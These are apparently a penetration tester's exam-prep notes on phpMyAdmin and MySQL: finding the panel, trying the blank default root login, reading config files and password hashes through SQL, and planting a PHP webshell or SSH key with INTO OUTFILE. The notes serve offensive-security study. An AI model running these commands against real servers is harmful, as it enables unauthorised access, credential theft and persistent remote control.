Covers phpMyAdmin recon, default access, and SQL-based exploitation. For MySQL UDF privesc once you have root access, see Windows Privesc#XAMPP / MySQL UDF.

Recon

• Default path: /phpmyadmin (XAMPP), /pma, /db/, /mysql/
• ferox/gobuster will find it if non-standard: ferox -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/common.txt
• Also check port 8080, 8888 if XAMPP is installed - phpMyAdmin sometimes runs on alternate ports

Default / Blank Creds

XAMPP default: root with no password. Always try before anything else.

Bypassing Host-Based MySQL Restrictions

MySQL's bind-address or user host ACLs (root@localhost) block remote connections even if port 3306 is open. phpMyAdmin runs server-side, so it connects as 127.0.0.1 internally, bypassing this entirely. Two ways in:

• Browse to http://<target>/phpmyadmin from within an RDP/shell session on the target itself
• If you have a tunnel (Ligolo/Chisel), proxy your browser through the target's internal interface

Recon Once In

-- Who am I and what's the server
SELECT user(), version(), @@hostname, @@datadir;

-- All databases
SHOW DATABASES;

-- Check file read/write capability
SELECT @@global.secure_file_priv;   -- empty = unrestricted file write
SELECT @@plugin_dir;                 -- UDF drop location
SELECT load_file('C:\\Windows\\system32\\drivers\\etc\\hosts');  -- test file read

-- All users + password hashes
SELECT user, authentication_string, host FROM mysql.user;

-- Check current privs
SHOW GRANTS;

File Read via MySQL

If secure_file_priv is empty or points to a readable location:

SELECT load_file('C:\\Users\\Administrator\\Desktop\\proof.txt');
SELECT load_file('C:\\inetpub\\wwwroot\\web.config');
SELECT load_file('C:\\xampp\\htdocs\\config.php');

Useful for pulling credentials out of config files without needing shell access.

File Write via MySQL

-- Write a PHP webshell into the web root
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php';

-- Write an SSH key (Linux targets)
SELECT '<your-pubkey>' INTO OUTFILE '/home/<user>/.ssh/authorized_keys';

Requires secure_file_priv to be empty and the MySQL service account to have OS-level write access to the target path.

Credential Hunting

Look beyond the default mysql database:

-- Dump all tables across all DBs at once
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema NOT IN ('information_schema','mysql','performance_schema','sys');

-- Common credential table patterns
SELECT * FROM users;
SELECT * FROM accounts;
SELECT * FROM admin;
SELECT * FROM credentials;

-- Find columns named password/hash/token across all tables
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%pass%' OR column_name LIKE '%hash%' OR column_name LIKE '%token%';

Hash Cracking

Don't waste time on bcrypt in an exam context. If you see bcrypt hashes, focus on username reuse against other services instead.

UDF Privesc

If you have root access and MySQL runs as SYSTEM, see Windows Privesc#XAMPP / MySQL UDF for the full UDF command execution path.